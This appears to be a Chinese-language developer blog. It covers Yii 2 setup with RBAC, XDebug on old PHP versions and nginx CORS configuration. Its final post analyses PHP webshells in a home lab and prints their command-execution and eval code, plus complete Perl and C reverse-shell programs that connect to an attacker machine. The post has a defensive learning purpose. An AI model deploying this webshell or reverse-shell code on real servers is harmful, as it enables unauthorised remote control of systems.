顯示具有 php 標籤的文章。 顯示所有文章
顯示具有 php 標籤的文章。 顯示所有文章

2022年8月9日 星期二

Yii 2心得

環境

Windows 10
PHP 8
nginx
MySQL 8.0.18
yiisoft/yii2 2.0.45
dmstr/yii2-adminlte-asset 2.6.2
mdmsoft/yii2-admin 2.12


安裝 Yii 2 Advanced Project Template



使用composer 安裝

$ composer2 create-project --prefer-dist yiisoft/yii2-app-advanced yii-application


準備

初始化

在 yii-application/ 目錄中執行
$ php init
Yii Application Initialization Tool v1.0

Which environment do you want the application to be initialized in?

  [0] Development
  [1] Production

  Your choice [0-1, or "q" to quit] 0


  Initialize the application under 'Development' environment? [yes|no] yes

  Start initialization ...

   generate backend/config/codeception-local.php
   generate backend/config/main-local.php
   generate backend/config/params-local.php
   generate backend/config/test-local.php
   generate backend/web/index-test.php
   generate backend/web/index.php
   generate backend/web/robots.txt
   generate common/config/codeception-local.php
   generate common/config/main-local.php
   generate common/config/params-local.php
   generate common/config/test-local.php
   generate console/config/main-local.php
   generate console/config/params-local.php
   generate console/config/test-local.php
   generate frontend/config/codeception-local.php
   generate frontend/config/main-local.php
   generate frontend/config/params-local.php
   generate frontend/config/test-local.php
   generate frontend/web/index-test.php
   generate frontend/web/index.php
   generate frontend/web/robots.txt
   generate yii
   generate yii_test
   generate yii_test.bat
   generate cookie validation key in backend/config/main-local.php
   generate cookie validation key in common/config/codeception-local.php
   generate cookie validation key in frontend/config/main-local.php
      chmod 0777 backend/runtime
      chmod 0777 backend/web/assets
      chmod 0777 console/runtime
      chmod 0777 frontend/runtime
      chmod 0777 frontend/web/assets
      chmod 0755 yii
      chmod 0755 yii_test

  ... initialization completed.

配置DB

common/config/main-local.php 

migration

$ php yii migrate
Yii Migration Tool (based on Yii v2.0.45)

Creating migration history table "migration"...Done.
Total 2 new migrations to be applied:
        m130524_201442_init
        m190124_110200_add_verification_token_column_to_user_table

Apply the above migrations? (yes|no) [no]:yes
*** applying m130524_201442_init
    > create table {{%user}} ... done (time: 0.064s)
*** applied m130524_201442_init (time: 0.097s)

*** applying m190124_110200_add_verification_token_column_to_user_table
    > add column verification_token string NULL DEFAULT NULL to table {{%user}} ... done (time: 0.040s)
*** applied m190124_110200_add_verification_token_column_to_user_table (time: 0.064s)


2 migrations were applied.

Migrated up successfully.

nginx

前端目錄 root /path/to/yii-application/frontend/web/ 
後端目錄 root /path/to/yii-application/backend/web/

偽靜態

location / {
    # Redirect everything that isn't a real file to index.php
    try_files $uri $uri/ /index.php$is_args$args;
}

避免存取assets/目錄下的php文件

# deny accessing php files for the /assets directory
location ~ ^/assets/.*\.php$ {
    deny all;
}

hosts


寶塔open_basedir報錯

Warning: require(): open_basedir restriction in effect. File(C:\path\yii-application\vendor\autoload.php) is not within the allowed path(s): (C:/path/yii-application/backend/web/;C:/Windows/Temp/;C:/Temp/;C:/BtSoft/temp/session/) in C:\path\yii-application\backend\web\index.php on line 6

Warning: require(C:\path\yii-application\vendor\autoload.php): Failed to open stream: Operation not permitted in C:\path\yii-application\backend\web\index.php on line 6

Fatal error: Uncaught Error: Failed opening required 'C:\path\yii-application\backend\web/../../vendor/autoload.php' (include_path='.;C:\php\pear') in C:\path\yii-application\backend\web\index.php:6 Stack trace: #0 {main} thrown in C:\path\yii-application\backend\web\index.php on line 6

寶塔面板 => 網站 => 設置 => 網站目錄 => 取消勾選 防跨站攻击(open_basedir)

測試用戶

backend/tests/_data/login_data.php 中有測試的user資料

return [
    [
        'username' => 'erau',
        'auth_key' => 'tUu1qHcde0diwUol3xeI-18MuHkkprQI',
        // password_0
        'password_hash' => '$2y$13$nJ1WDlBaGcbCdbNC5.5l4.sgy.OMEKCqtDQOdQ2OWpgiKRWYyzzne',
        'password_reset_token' => 'RkD_Jw0_8HEedzLk7MM-ZKEFfYR7VbMr_1392559490',
        'created_at' => '1392559490',
        'updated_at' => '1392559490',
        'email' => 'sfriesen@jenkins.info',
    ],
];
把他換成SQL

INSERT INTO `user` ( `username`, `auth_key`, `password_hash`, `password_reset_token`, `email`, `created_at`, `updated_at` )
VALUES
    (
        'erau',
        'tUu1qHcde0diwUol3xeI-18MuHkkprQI',
        '$2y$13$nJ1WDlBaGcbCdbNC5.5l4.sgy.OMEKCqtDQOdQ2OWpgiKRWYyzzne',
        'RkD_Jw0_8HEedzLk7MM-ZKEFfYR7VbMr_1392559490',
        'sfriesen@jenkins.info',
    1392559490,
    1392559490);
s
然後就能用用戶 erau (密碼password_0)登錄了,
或是登錄時斷點在 User->validatePassword() 時打印 Yii::$app->security->generatePasswordHash("password") 設置你要的密碼

安裝AdminLTE



$ composer2 require dmstr/yii2-adminlte-asset "^2.1"


複製 vendor/dmstr/yii2-adminlte-asset/example-views/yiisoft/yii2-app/backend/views/  

不要使用bootstrap4



因為 AdminLTE 2.4.13 使用 bootstrap 3 ,但是 yii2-app-advanced 2.0.43 以後的 backend/assets/AppAsset.php 改用了 bootstrap4 ,會造成樣式衝突
所以改回bootstrap 3

diff --git a/backend/assets/AppAsset.php b/backend/assets/AppAsset.php
index a93f5c3..ee9d874 100644
--- a/backend/assets/AppAsset.php
+++ b/backend/assets/AppAsset.php
@@ -18,6 +18,7 @@ class AppAsset extends AssetBundle
     ];
     public $depends = [
         'yii\web\YiiAsset',
-        'yii\bootstrap4\BootstrapAsset',
+        // 'yii\bootstrap4\BootstrapAsset',
+        'yii\bootstrap\BootstrapAsset',
     ];
 }
s

安裝yii2-admin

http://static.kancloud.cn/curder/yii/247758  Yii2中使用yii2-admin搭建RBAC权限控制
http://static.kancloud.cn/curder/yii/247759  Yii2项目后台整合yii2-admin模块


$ composer2 require mdmsoft/yii2-admin "~2.0"

Migration

新增menu菜單表 

$ php yii migrate --migrationPath=@mdm/admin/migrations
Yii Migration Tool (based on Yii v2.0.45)

Total 2 new migrations to be applied:
        m140602_111327_create_menu_table
        m160312_050000_create_user

Apply the above migrations? (yes|no) [no]:yes
*** applying m140602_111327_create_menu_table
    > create table {{%menu}} ... done (time: 0.197s)
*** applied m140602_111327_create_menu_table (time: 0.414s)

*** applying m160312_050000_create_user
*** applied m160312_050000_create_user (time: 0.037s)

2 migrations were applied.

Migrated up successfully.

新增 rbac 相關表(auth_rule、auth_item、auth_item_child、auth_assignment)

$ php yii migrate --migrationPath=@yii/rbac/migrations
Yii Migration Tool (based on Yii v2.0.45)

Total 4 new migrations to be applied:
        m140506_102106_rbac_init
        m170907_052038_rbac_add_index_on_auth_assignment_user_id
        m180523_151638_rbac_updates_indexes_without_prefix
        m200409_110543_rbac_update_mssql_trigger

Apply the above migrations? (yes|no) [no]:yes
*** applying m140506_102106_rbac_init
    > create table {{%auth_rule}} ... done (time: 0.058s)
    > create table {{%auth_item}} ... done (time: 0.059s)
    > create index idx-auth_item-type on {{%auth_item}} (type) ... done (time: 0.039s)
    > create table {{%auth_item_child}} ... done (time: 0.060s)
    > create table {{%auth_assignment}} ... done (time: 0.042s)
*** applied m140506_102106_rbac_init (time: 0.445s)

*** applying m170907_052038_rbac_add_index_on_auth_assignment_user_id
    > create index auth_assignment_user_id_idx on {{%auth_assignment}} (user_id) ... done (time: 0.037s)
*** applied m170907_052038_rbac_add_index_on_auth_assignment_user_id (time: 0.091s)

*** applying m180523_151638_rbac_updates_indexes_without_prefix
    > drop index auth_assignment_user_id_idx on {{%auth_assignment}} ... done (time: 0.018s)
    > create index {{%idx-auth_assignment-user_id}} on {{%auth_assignment}} (user_id) ... done (time: 0.021s)
    > drop index idx-auth_item-type on {{%auth_item}} ... done (time: 0.046s)
    > create index {{%idx-auth_item-type}} on {{%auth_item}} (type) ... done (time: 0.034s)
*** applied m180523_151638_rbac_updates_indexes_without_prefix (time: 0.185s)

*** applying m200409_110543_rbac_update_mssql_trigger
*** applied m200409_110543_rbac_update_mssql_trigger (time: 0.049s)


4 migrations were applied.

Migrated up successfully.


配置


diff --git a/backend/config/main.php b/backend/config/main.php
index 6e2fe57..1483c5c 100644
--- a/backend/config/main.php
+++ b/backend/config/main.php
@@ -11,7 +11,12 @@
     'basePath' => dirname(__DIR__),
     'controllerNamespace' => 'backend\controllers',
     'bootstrap' => ['log'],
-    'modules' => [],
+    'modules' => [
+        'admin' => [
+            'class' => 'mdm\admin\Module',
+            // 'layout' => 'left-menu',//yii2-admin的导航菜单
+        ]
+    ],
     'components' => [
         'request' => [
             'csrfParam' => '_csrf-backend',
@@ -37,14 +42,34 @@
         'errorHandler' => [
             'errorAction' => 'site/error',
         ],
-        /*
+        // 開啟enablePrettyUrl
         'urlManager' => [
             'enablePrettyUrl' => true,
             'showScriptName' => false,
             'rules' => [
             ],
         ],
-        */
+
+        'authManager' => [
+            // 'class' => 'yii\rbac\PhpManager', // or use 'yii\rbac\DbManager'
+            'class' => 'yii\rbac\DbManager', // 使用DB做RBAC
+        ],
     ],
     'params' => $params,
+    'as access' => [
+        'class' => 'mdm\admin\components\AccessControl',
+        'allowActions' => [
+            'site/*',
+            'admin/*', // 臨時開啟admin 路由
+            'gii/*',  // 臨時開啟gii
+            'debug/*',  // debug bar
+            // '*',  // 臨時開啟所有權限
+            'some-controller/some-action',
+            // The actions listed here will be allowed to everyone including guests.
+            // So, 'admin/*' should not appear here in the production, of course.
+            // But in the earlier stages of your development, you may probably want to
+            // add a lot of actions here until you finally completed setting up rbac,
+            // otherwise you may not even take a first step.
+        ]
+    ],
 ];

s
開啟enablePrettyUrl前的訪問地址是: /index.php?r=admin  

使用

Users(用戶)


Routes(路由)



把左邊可用的路由(會自動抓)放到右邊去,右邊的路由才會在permissionrole時出現

Permissions(權限)


分配路由

創建permission後,可以在view裡面對該permission設置多個route

Roles(角色)


分配路由和權限

創建role後,可以在view裡面對該role設置多個route、permission和role

Assignments(分配)


分配角色和權限

根據現有的user,可以在view裡面對該user設置多個role和permission

無權限訪問顯示403

如果沒對該用戶分配有delete權限的role和delete的permission 



Rules(規則)

要和代碼配合,可以不用

Menus(菜單)


設置父菜單


獲取有權限的菜單


diff --git a/backend/views/layouts/left.php b/backend/views/layouts/left.php
index 53b2cb3..f2b64a1 100644
--- a/backend/views/layouts/left.php
+++ b/backend/views/layouts/left.php
@@ -1,3 +1,8 @@
+<?php
+
+use mdm\admin\components\MenuHelper;
+
+?>
 <aside class="main-sidebar">
 
     <section class="sidebar">
@@ -25,42 +30,57 @@
             </div>
         </form>
         <!-- /.search form -->
+        <?php
+        $items = MenuHelper::getAssignedMenu(Yii::$app->user->id);
+        ?>
 
         <?= dmstr\widgets\Menu::widget(
             [
                 'options' => ['class' => 'sidebar-menu tree', 'data-widget'=> 'tree'],
+                'items' => $items,
             ]
         ) ?>
s

設置父菜單js錯誤

Uncaught TypeError: elem.getClientRects is not a function

因為 jQuery 是v3.6.0 (vendor/bower-asset/jquery/dist/jquery.js)而 jQuery UI 是 v1.11.4 (vendor/mdmsoft/yii2-admin/assets/jquery-ui.js)

升級jQuery UI(未使用)

https://github.com/mdmsoft/yii2-admin/issues/386  jquery-ui.js need to update !!!
https://github.com/mdmsoft/yii2-admin/pull/363  Fix menu. Update jquery-ui.


加入 jquery-migrate

https://stackoverflow.com/a/38314852  jQuery UI error - f.getClientRects is not a function
加入 jquery-migrate-3.0.0.js 讓jquery 3+ 兼容低版本jquery ui

diff --git a/backend/assets/AppAsset.php b/backend/assets/AppAsset.php
index ee9d874..ac1f620 100644
--- a/backend/assets/AppAsset.php
+++ b/backend/assets/AppAsset.php
@@ -15,6 +15,7 @@ class AppAsset extends AssetBundle
         'css/site.css',
     ];
     public $js = [
+        'js/jquery-migrate-3.0.0.js',
     ];
     public $depends = [
         'yii\web\YiiAsset',
diff --git a/backend/web/js/jquery-migrate-3.0.0.js b/backend/web/js/jquery-migrate-3.0.0.js
new file mode 100644
index 0000000..350b799
--- /dev/null
+++ b/backend/web/js/jquery-migrate-3.0.0.js
@@ -0,0 +1,540 @@
+/*!
+ * jQuery Migrate - v3.0.0 - 2016-06-09
...
s

Gii

https://www.yiichina.com/tutorial/695  gii的命令行用法 [ 2.0 版本 ]


先建表,以水果表為例:

CREATE TABLE `fruits` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT 'ID',
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '名字',
  `created_at` datetime NOT NULL COMMENT '創建時間',
  `updated_at` datetime NOT NULL ON UPDATE CURRENT_TIMESTAMP COMMENT '修改時間',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
s

網頁生成CRUD代碼

Table Name 可以下拉用選的,選完後 Model Class Name 會自動填入


命令行生成CRUD代碼

為了和前面區分,這裡model和controller用單數的Fruit
$ php yii gii/model --ns=common\\models --tableName=fruits --modelClass=Fruit
Running 'Model Generator'...

The following files will be generated:
        [new] C:\path\yii-application\common\models\Fruit.php

Ready to generate the selected files? (yes|no) [yes]:

Files were generated successfully!
Generating code using template "C:\path\yii-application\vendor\yiisoft\yii2-gii\src\generators\model/default"...
 generated C:\path\yii-application\common\models\Fruit.php
done!

--ns=common\\models - 指定Model的路徑
--tableName=fruits - 表名用複數
--modelClass=Fruit - Model名用單數

$ php yii gii/crud --modelClass=common\\models\\Fruit --controllerClass=backend\\controllers\\FruitController --viewPath=@backend/views/fruit --searchModelClass=common\\models\\FruitSearch
Running 'CRUD Generator'...

The following files will be generated:
        [new] C:\path\yii-application\backend\controllers\FruitController.php
        [new] C:\path\yii-application\common\models\FruitSearch.php
        [new] C:\path\yii-application\backend\views\fruit\_form.php
        [new] C:\path\yii-application\backend\views\fruit\_search.php
        [new] C:\path\yii-application\backend\views\fruit\create.php
        [new] C:\path\yii-application\backend\views\fruit\index.php
        [new] C:\path\yii-application\backend\views\fruit\update.php
        [new] C:\path\yii-application\backend\views\fruit\view.php

Ready to generate the selected files? (yes|no) [yes]:

Files were generated successfully!
Generating code using template "C:\path\yii-application\vendor\yiisoft\yii2-gii\src\generators\crud/default"...
 generated C:\path\yii-application\backend\controllers\FruitController.php
 generated C:\path\yii-application\common\models\FruitSearch.php
 generated C:\path\yii-application\backend\views\fruit\_form.php
 generated C:\path\yii-application\backend\views\fruit\_search.php
 generated C:\path\yii-application\backend\views\fruit\create.php
 generated C:\path\yii-application\backend\views\fruit\index.php
 generated C:\path\yii-application\backend\views\fruit\update.php
 generated C:\path\yii-application\backend\views\fruit\view.php
done!

--modelClass=common\\models\\Fruit - 指定所使用的model路徑
--controllerClass=backend\\controllers\\FruitController - 設置控制器路徑
--viewPath=@backend/views/fruit - 設置視圖路徑,fruit用單數
--searchModelClass=common\\models\\FruitSearch= 設定搜索模型

如何知道命令行有哪些參數可用

如 searchModelClass 
可在開發者工具裡的表單查看




即可有水果表(fruits)的CRUD

debugbar

內建debugbar,laravel則需要另外安裝
路由




CVE



https://packagist.org/packages/yiisoft/yii2/advisories?version=4339826  yiisoft/yii2 Security Advisories for 2.0.37
2.0.37之前的版本有 遠程代碼執行(remote code execution)漏洞

總結

和laravel相比,官方更新沒有那麼快搭建後台系統比較麻煩(dmstr/yii2-adminlte-asset + mdmsoft/yii2-admin),不像laravel-admin直接搞定,網上的文檔也比較舊


其他

update

https://stackoverflow.com/a/38692364  Yii2: update field with query builder

\Yii::$app->db->createCommand()
    ->update('fruits', ['status' => 1], 'id > 1')
    ->execute();
=> UPDATE `fruits` SET `status`=1 WHERE id > 1










2022年5月11日 星期三

低版本PHP的XDebug

PHP 5.6

Windows

php_xdebug-2.5.5-5.6-vc11-nts-x86_64.dll

Windows 10 + 寶塔php 5.6 + 【PHP 5.6 VC11 (64 bit)】 + PHPStorm 2021.2.2

C:\BtSoft\php\56\php.ini
[XDebug]
zend_extension="C:\BtSoft\php\56\ext\php_xdebug-2.5.5-5.6-vc11-nts-x86_64.dll"
xdebug.remote_enable=1
xdebug.remote_host=127.0.0.1
xdebug.remote_log="C:\BtSoft\php\56\xdebug_log"

可斷點

Linux

CentOS 7.9 + 寶塔php 5.6 + XDebug 2.5.5 + PHPStorm 2021.2.2

/www/server/php/56/etc/php.ini
[xdebug]
zend_extension=/www/server/php/56/lib/php/extensions/no-debug-non-zts-20131226/xdebug.so
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x
xdebug.remote_log=/tmp/xdebug_log

可斷點

PHP 5.5

Windows

php_xdebug-2.5.5-5.5-vc11-nts-x86_64.dll

Windows 10 + 寶塔php 5.5 + 【PHP 5.5 VC11 (64 bit)】 + PHPStorm 2021.2.2

C:\BtSoft\php\55\php.ini
[XDebug]
zend_extension="C:\BtSoft\php\55\ext\php_xdebug-2.5.5-5.5-vc11-nts-x86_64.dll"
xdebug.remote_enable=1
xdebug.remote_host=127.0.0.1

可斷點

Linux

CentOS 7.9 + 寶塔php 5.5 + XDebug 2.5.5 + PHPStorm 2021.2.2

/www/server/php/55/etc/php.ini
[xdebug]
zend_extension="/www/server/php/55/lib/php/extensions/no-debug-non-zts-20121212/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x

可斷點

安裝xdebug時不要在用過裝PHP 5.6的 xdebug-2.5.5/ 目錄下編譯安裝,重新解壓縮新的 xdebug-2.5.5/ 目錄安裝。否則重啟PHP 5.5時會報錯:Xdebug requires Zend Engine API version 220131226.
The Zend Engine API version 220121212 which is installed, is outdated.

PHP 5.4

Windows

php_xdebug-2.4.1-5.4-vc9-nts-x86_64.dll

Windows 10 + 寶塔php 5.4 + 【PHP 5.4 VC9 (64 bit)】 + PHPStorm 2021.2.2
phpinfo() 吃不到XDebug擴展

不能斷點


php_xdebug-2.4.1-5.4-vc9-nts.dll

Windows 10 + 寶塔php 5.4 + 【PHP 5.4 VC9 (32 bit)】 + PHPStorm 2021.2.2
phpinfo() 吃得到XDebug擴展,但是xdebug_log 報錯
<- eval -i 10 -- aXNzZXQoJF9TRVJWRVJbJ1BIUF9JREVfQ09ORklHJ10p
-> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="10"><error code="5"><message><![CDATA[command is not available]]></message></error></response>

不能斷點

Linux

CentOS 7.9 + 寶塔php 5.4 + XDebug 2.4.1 + PHPStorm 2021.2.2

/www/server/php/54/etc/php.ini
[xdebug]
zend_extension="/www/server/php/54/lib/php/extensions/no-debug-non-zts-20100525/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=192.168.1.x

可斷點

PHP 5.4 在Windows 10 斷點不了,只能在CentOS上斷。
結論:不要接手Windows的PHP 5.4以下專案























2022年1月20日 星期四

跨域CORS心得

環境

寶塔
nginx 1.21.1
三個項目:
test.win.bt(主項目)
api.win.bt(API接口)
api2.win.bt(laravel接口)


test.win.bt/api/ 代理 api.win.bt

https://stackoverflow.com/a/16158558  nginx proxy_pass 404 error, don't understand why

test.win.bt nginx配置文件

server
{
    server_name test.win.bt;

    location /api/ {
        proxy_pass http://api.win.bt/;
    }
    ...
    #PHP-INFO-START
    include php/80.conf;
    #PHP-INFO-END
    ...
}


http://test.win.bt/api/

打開(index.php),可以正常顯示json內容

但是 http://test.win.bt/api/index.php (任何.php訪問)卻是404

https://stackoverflow.com/a/65867308  Nginx Reverse Proxy returns 404 for PHP
原因是 include php/80.conf; 在C:\BtSoft\nginx\conf\vhost\test.win.bt.conf 和 C:\BtSoft\nginx\conf\vhost\api.win.bt.conf 重複被引用了,把 test.win.bt.conf 的 include php/80.conf; 註解掉即可。(註解api.win.bt.conf 的無效)
但是這樣解就造成 test.win.bt 下面無法跑php


(註解 include php/80.conf;  前)靜態json文件 http://test.win.bt/api/test.json  可以訪問

但是如果是ajax 用post請求會返回405
原因:
https://cloud.tencent.com/developer/article/1680056  Nginx的405 not allowed错误解决

Access-Control-Allow-Origin

加在 nginx

https://ubiq.co/tech-blog/enable-cors-nginx/  How to Enable CORS in NGINX
server
{
    server_name api.win.bt;
    add_header Access-Control-Allow-Origin *;
    ...
}


add_header 對500無效

https://serverfault.com/a/431580  Nginx services fails for cross-domain requests if the service returns error
所以如果 http://api.win.bt/json.php 返回了500錯誤,即使在nginx加了 add_header Access-Control-Allow-Origin *;  。瀏覽器還是會報CSRF錯誤




PHP手動返回500錯誤

https://stackoverflow.com/a/1555877  How can I get php to return 500 upon encountering a fatal exception?
header("HTTP/1.1 500 Internal Server Error");

加在php中

https://stackoverflow.com/a/7564919  how to bypass Access-Control-Allow-Origin?
不指定域名
header('Access-Control-Allow-Origin: *');
指定域名
header('Access-Control-Allow-Origin: http://test.win.bt');

test.win.bt/api2/ 代理 api2.win.bt

server
{
    server_name test.win.bt;

    location /api2/ {
        proxy_pass http://api2.win.bt/;
    }
    ...
}

http://test.win.bt/api2/test

routes/web.php
Route::any('/test', function () {
    return [1,2,3];
});


但是 laravel的web路由會檢查CSRF token(VerifyCsrfToken),所以報419錯誤

所以改用api的路由

http://test.win.bt/api2/api/test

routes/api.php
Route::any('/test', function (Request $request) {
    return [1,2,3];
});

即可正常請求

因為laravel的偽靜態把index.php 幹掉了,所以不存在 http://test.win.bt/api/*.php 的404問題。當然 http://test.win.bt/api2/api/*.php 還是會404的
location / {  
try_files $uri $uri/ /index.php$is_args$query_string;  
}








2021年11月4日 星期四

PHP大馬

前言

https://secvery.com/2105.html   黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能

透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護


Spider PHP Shell (SPS-3.0).php

登入


文件管理


時間

透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;


# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov  4  2020 test.jpg


新增文件

使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫


直接點該文件,可以在網站上打開改文件

該文件的權限是www 
# ll newfile.php
-rw-r--r--. 1 www www 26 May  4  2021 newfile.php

新建目錄

使用 mkdir(),建立目錄。當前目錄必須是www 可寫


目錄權限www ,無法用touch()修改時間
# ll | grep newdir
drwxr-xr-x. 2 www  www       6 Nov  4 19:20 newdir

複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳


執行命令

使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
function Exec_Run($cmd)
{
    $res = '';
    if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
    elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
    elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
    return $res;
}


掃描端口

使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);

搜索文件

搜索包含文字

使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容


Linux提權

攻擊機

因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388

提權


提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1

當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root


/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov  5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov  5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root


靶機

可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www       9551  0.0  0.0  11692  1356 ?        S    16:10   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www       9556  0.0  0.0  11692  1360 ?        S    16:10   0:00 /bin/sh

有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58198      192.168.1.8:12388       ESTABLISHED 9550/lynx

9550 是什麼進程?
# ps aux | grep "9550"
www       9550  0.0  0.0  31144  3340 ?        S    16:10   0:00 lynx

原理

File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc 
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &

如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root     28776  0.0  0.0 113288  1396 pts/10   S    15:06   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root     28781  0.0  0.0 113284  1196 pts/10   S    15:06   0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root

C語言執行

將以下C代碼寫入 /tmp/angel_bc.c 
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &

C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以

MySQL執行

https://stackoverflow.com/a/54643842  Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost




MySQL管理

如下圖所見








zjjv

zjjv。  com

代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間

登入


文件管理

功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www



執行PHP腳本

使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));

執行SQL、MYSQL操作、端口掃描

功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。

執行命令

比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
function Exec_Run($cmd) {
    $res = '';
    if (function_exists('exec')) {
        @exec($cmd, $res);
        $res = join("\n", $res);
    } elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cmd);
    } elseif (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (@is_resource($f = @popen($cmd, 'r'))) {
        $res = '';
        while (!@feof($f)) {
            $res .= @fread($f, 1024);
        }
        @pclose($f);
    } elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
        $w = new COM('WScript.shell');
        $e = $w->exec($cmd);
        $f = $e->StdOut();
